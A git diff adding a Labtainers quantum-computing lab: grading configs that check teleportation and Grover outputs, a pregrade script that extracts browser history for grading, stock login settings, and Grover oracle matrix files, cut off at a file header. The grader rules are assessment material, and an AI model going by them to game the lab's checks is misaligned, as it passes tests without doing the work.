b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/read_first.txt new file mode 100644 index 000000000..114feed7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/quantum.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/goals.config new file mode 100644 index 000000000..157879d4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/goals.config @@ -0,0 +1,22 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +t0 = boolean : (_t_measured_0_0 and _t_measured_1_0) +t1 = boolean : (_t_measured_0_0 and _t_measured_1_1) +t2 = boolean : (_t_measured_0_1 and _t_measured_1_0) +t3 = boolean : (_t_measured_0_1 and _t_measured_1_1) + +g0 = boolean : ( (_g_measured_0_0 and _g_measured_1_0) and _g_measured_2_0) +g1 = boolean : ( (_g_measured_0_0 and _g_measured_1_0) and _g_measured_2_1) +g2 = boolean : ( (_g_measured_0_0 and _g_measured_1_1) and _g_measured_2_0) +g3 = boolean : ( (_g_measured_0_0 and _g_measured_1_1) and _g_measured_2_1) +g4 = boolean : ( (_g_measured_0_1 and _g_measured_1_0) and _g_measured_2_0) +g5 = boolean : ( (_g_measured_0_1 and _g_measured_1_0) and _g_measured_2_1) +g6 = boolean : ( (_g_measured_0_1 and _g_measured_1_1) and _g_measured_2_0) +g7 = boolean : ( (_g_measured_0_1 and _g_measured_1_1) and _g_measured_2_1) + +teleportation_success = boolean : (t0 or t1 or t2 or t3) + +grover_success = boolean : (g0 or g1 or g2 or g3 or g4 or g5 or g6 or g7) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/results.config new file mode 100644 index 000000000..4d1dc9f0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/instr_config/results.config @@ -0,0 +1,16 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +_t_measured_0_0 = run_teleportation.sh.stdout : CONTAINS : Qubit 0 measured as 0 +_t_measured_0_1 = run_teleportation.sh.stdout : CONTAINS : Qubit 0 measured as 1 +_t_measured_1_0 = run_teleportation.sh.stdout : CONTAINS : Qubit 1 measured as 0 +_t_measured_1_1 = run_teleportation.sh.stdout : CONTAINS : Qubit 1 measured as 1 +_t_measured_2_0 = run_teleportation.sh.stdout : CONTAINS : Qubit 2 measured as 0 +_t_measured_2_1 = run_teleportation.sh.stdout : CONTAINS : Qubit 2 measured as 1 +_g_measured_0_0 = run_grover.sh.stdout : CONTAINS : Qubit 0 measured as 0 +_g_measured_0_1 = run_grover.sh.stdout : CONTAINS : Qubit 0 measured as 1 +_g_measured_1_0 = run_grover.sh.stdout : CONTAINS : Qubit 1 measured as 0 +_g_measured_1_1 = run_grover.sh.stdout : CONTAINS : Qubit 1 measured as 1 +_g_measured_2_0 = run_grover.sh.stdout : CONTAINS : Qubit 2 measured as 0 +_g_measured_2_1 = run_grover.sh.stdout : CONTAINS : Qubit 2 measured as 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/fixlocal.sh new file mode 100755 index 000000000..d97800f2f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +cd $HOME +./compile.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/treataslocal new file mode 100644 index 000000000..633624e3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_bin/treataslocal @@ -0,0 +1 @@ +#source diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/compile.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/compile.sh new file mode 100755 index 000000000..455182575 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/compile.sh @@ -0,0 +1 @@ +javac simulator.java diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x0 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x0 new file mode 100644 index 000000000..e49c7030e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x0 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x1 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x1 new file mode 100644 index 000000000..f9f8610b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x1 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x2 new file mode 100644 index 000000000..e071fc74d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x2 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x3 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x3 new file mode 100644 index 000000000..2ee8e7446 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x3 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x4 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x4 new file mode 100644 index 000000000..34a5cdd99 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x4 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x5 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x5 new file mode 100644 index 000000000..c8940ca3f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x5 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x6 